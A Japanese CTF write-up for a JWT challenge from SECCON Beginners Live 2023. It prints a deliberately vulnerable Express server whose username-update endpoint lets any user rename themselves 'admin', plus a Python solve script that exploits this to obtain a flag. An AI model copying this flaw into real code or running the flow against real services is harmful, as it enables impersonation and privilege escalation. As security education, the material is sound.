SECCON Beginners Live 2023 「JWTセキュリティ入門」 チャレンジ問題 writeup
はじめに
2023年9月3日に開催されたSECCON Beginners Live 2023にて、「JWTセキュリティ入門」というタイトルでLT発表を行いました。
SECCON Beginners Live 2023「JWTセキュリティ入門」の資料です#seccon #ctf4bhttps://t.co/wwIxuxCTpX
— JJ (yuasa) (@melonattacker) September 3, 2023
その際に出題したチャレンジ問題についての解法をまとめます。
JWTチャレンジの問題サーバはこちらですhttps://t.co/thiKxbpcyH
— JJ (yuasa) (@melonattacker) September 3, 2023
問題のソースコードはこちらから閲覧できますhttps://t.co/EYpv6bANE4
問題
問題のソースコードはこちらです。
const express = require("express");
const jwt = require("jsonwebtoken");
const crypto = require("crypto");
const PORT = 5504;
const FLAG = "flag{this_is_trial3_flag}";
const app = express();
app.use(express.json());
// シークレットキーを生成
const secret = crypto.randomBytes(16).toString("hex");
// 初期ユーザーを設定
const users = [
{
id: "admin",
username: "admin",
password: crypto.randomBytes(16).toString("hex"),
},
{
id: "guest",
username: "guest",
password: "guest"
}
]
// ユーザーのプロパティが存在するか確認する関数
function isUserPropertyExist(key, value) {
return users.some(user => user[key] === value);
}
app.get("/", (req, res) => {
res.send("Welcome to SECCON Beginners Live 2023 JWT Challenge!");
});
// ユーザー登録エンドポイント
app.post("/signup", (req, res) => {
const { id, username, password } = req.body;
if (!id || !username || !password) {
res.status(400).json({ error: "Please send id, username and password" });
return;
}
if (isUserPropertyExist('username', username)) {
res.status(400).json({ error: "Username already exists" });
return;
}
if (isUserPropertyExist('id', id)) {
res.status(400).json({ error: "ID already exists" });
return;
}
users.push({
id,
username,
password
});
res.json({ message: "User registered successfully" });
});
// サインインエンドポイント
app.post("/signin", (req, res) => {
const { id, password } = req.body;
if (!id || !password) {
res.status(400).json({ error: "Please send username and password" });
return;
}
let user = users.find(u => u.id === id && u.password === password);
if (!user) {
res.status(401).json({ error: "Invalid id or password" });
return;
}
let signed;
try {
signed = jwt.sign({
id: user.id,
username: user.username,
solved: false
},
secret,
{ algorithm: "HS256", expiresIn: "1h" }
);
} catch (err) {
res.status(500).json({ error: "Internal server error" });
return;
}
res.header("Authorization", signed);
res.json({ message: "ok" });
});
// ユーザー名更新エンドポイント
app.post("/username/update", (req, res) => {
const { newUsername } = req.body;
const token = req.header("Authorization");
if (!newUsername || !token) {
res.status(400).json({ error: "Please send newUsername and provide JWT token" });
return;
}
let verified;
try {
verified = jwt.verify(token, secret, { algorithms: ["HS256"] });
} catch (err) {
res.status(401).json({ error: "Invalid Token" });
return;
}
const currentId = verified.id;
let user = users.find(u => u.id === currentId);
if (!user) {
res.status(404).json({ error: "User not found" });
return;
}
if (user.username === "admin") {
res.status(403).json({ error: "Admin user cannot change its username" });
return;
}
user.username = newUsername;
res.json({ message: "Username updated successfully" });
});
// flag取得エンドポイント
app.get("/flag", (req, res) => {
if (!req.header("Authorization")) {
res.status(400).json({ error: "No JWT Token" });
return;
}
let verified;
try {
verified = jwt.verify(
req.header("Authorization"),
secret,
{ algorithms: ["HS256"] }
);
} catch (err) {
res.status(401).json({ error: "Invalid Token" });
return;
}
if (verified.username === "admin") {
let newToken;
try {
newToken = jwt.sign({
id: verified.id,
username: verified.username,
solved: true
},
secret,
{ algorithm: "HS256", expiresIn: "1h" }
);
} catch (err) {
res.status(500).json({ error: "Internal server error" });
return;
}
res.header("Authorization", newToken);
res.send(`Congratulations! Here's your flag: ${FLAG}`);
return;
}
res.send("No flag for you");
});
...
// サーバーの起動
app.listen(PORT, () => {
console.log(`Server is running on port ${PORT}`);
});
ユーザー登録エンドポイント(/signup
)では、id
、username
、password
を送信してユーザー登録を行います。
サインインエンドポイント(/signin
)では、送信するid
、password
に対応するユーザーのid
、username
、solved
をペイロードとした、HS256アルゴリズムで署名されたJWTが返されます。
flag取得エンドポイント(/flag
)では、JWTのペイロードのusername
パラメータの値がadmin
である場合にflagが得られます。
// flag取得エンドポイント
app.get("/flag", (req, res) => {
...
let verified;
try {
verified = jwt.verify(
req.header("Authorization"),
secret,
{ algorithms: ["HS256"] }
);
} catch (err) {
res.status(401).json({ error: "Invalid Token" });
return;
}
if (verified.username === "admin") {
...
res.send(`Congratulations! Here's your flag: ${FLAG}`);
return;
}
JWTの検証時に使用される共通鍵は以下で生成されるため、総当たり攻撃などで秘密鍵を直接求めることはできず、JWTを改ざんすることは困難です。
// シークレットキーを生成
const secret = crypto.randomBytes(16).toString("hex");
解法
まず、JWTペイロードのusername
パラメータの値がどのように指定されるかを確認します。
サインインエンドポイント(/signin
)を確認すると、保存されているユーザーのusername
がペイロードのusername
パラメータの値として指定されていることがわかります。
// サインインエンドポイント
app.post("/signin", (req, res) => {
const { id, password } = req.body;
...
let user = users.find(u => u.id === id && u.password === password);
if (!user) {
res.status(401).json({ error: "Invalid id or password" });
return;
}
let signed;
try {
signed = jwt.sign({
...
username: user.username,
...
},
secret,
{ algorithm: "HS256", expiresIn: "1h" }
);
} catch (err) {
res.status(500).json({ error: "Internal server error" });
return;
}
...
});
そこでユーザー登録時にusername
をadmin
に指定することで、ペイロードのusername
パラメータの値をadmin
にすることを考えます。
しかし、ユーザー登録エンドポイント(/signup
)では、username
パラメータの値が既に登録されているユーザーのusername
と一致する場合にエラーが返されるため、username
パラメータの値をadmin
に指定することはできません。
// ユーザー登録エンドポイント
app.post("/signup", (req, res) => {
const { id, username, password } = req.body;
...
if (isUserPropertyExist('username', username)) {
res.status(400).json({ error: "Username already exists" });
return;
}
...
users.push({
id,
username,
password
});
res.json({ message: "User registered successfully" });
});
ここでユーザー名更新エンドポイント(/username/update
)に着目します。
このエンドポイントではユーザーのusername
が更新できますが、更新の際にnewUsername
の値が既に登録されているユーザーのusername
と一致するかどうかの検証がなされていません。
// ユーザー名更新エンドポイント
app.post("/username/update", (req, res) => {
const { newUsername } = req.body;
const token = req.header("Authorization");
// usernameの一致検証がない!!
...
let verified;
try {
verified = jwt.verify(token, secret, { algorithms: ["HS256"] });
} catch (err) {
res.status(401).json({ error: "Invalid Token" });
return;
}
const currentId = verified.id;
let user = users.find(u => u.id === currentId);
if (!user) {
res.status(404).json({ error: "User not found" });
return;
}
if (user.username === "admin") {
res.status(403).json({ error: "Admin user cannot change its username" });
return;
}
// newUsernameをadminにすることでユーザーのusernameをadminに更新できる
user.username = newUsername;
res.json({ message: "Username updated successfully" });
});
そのため、適当なusername
でユーザー登録を行い、ユーザー名更新エンドポイント(/username/update
)でusername
をadmin
に更新することで、JWTペイロードのusername
パラメータの値をadmin
にすることができます。
その状態でもう一度サインインを行い、取得したJWTをflag取得エンドポイント(/flag
)に送信することでflagが得られます。
以下はPythonで実装した問題を解くための一連のプログラムです。
import requests
import random
import jwt
HOST = "https://2023-beginnerslive-jwt-chall.vercel.app"
username = f"user{random.randint(10000, 99999)}"
signup_data = {
"id": username,
"username": username,
"password": "password123"
}
# /signup
signup_response = requests.post(f"{HOST}/signup", json=signup_data)
print("/signup:", signup_response.text)
# /signin as user
signin_data = {
"id": username,
"password": "password123"
}
signin_response = requests.post(f"{HOST}/signin", json=signin_data)
print("/signin:", signin_response.text)
encoded_jwt = signin_response.headers['Authorization']
print("encoded jwt:", encoded_jwt)
print("jwt payload:", jwt.decode(encoded_jwt, options={"verify_signature": False}))
# Update username to admin
update_data = {
"newUsername": "admin"
}
update_headers = {"Authorization": signin_response.headers['Authorization']}
update_response = requests.post(f"{HOST}/username/update", json=update_data, headers=update_headers)
print("/username/update:", update_response.text)
# /signin as admin
signin_data = {
"id": username,
"password": "password123"
}
signin_response = requests.post(f"{HOST}/signin", json=signin_data)
print("/signin:", signin_response.text)
encoded_jwt = signin_response.headers['Authorization']
print("encoded jwt:", encoded_jwt)
print("jwt payload:", jwt.decode(encoded_jwt, options={"verify_signature": False}))
# /flag
flag_response = requests.get(f"{HOST}/flag", headers={"Authorization": encoded_jwt})
print("/flag:", flag_response.text) # Congratulations! Here's your flag: flag{this_is_trial3_flag}
おわりに
JWTチャレンジに挑戦してくださった方々、ありがとうございました!
講義で紹介したJWTの脆弱性についてもラボ環境を用いて検証することができますので、ぜひ試してみてください。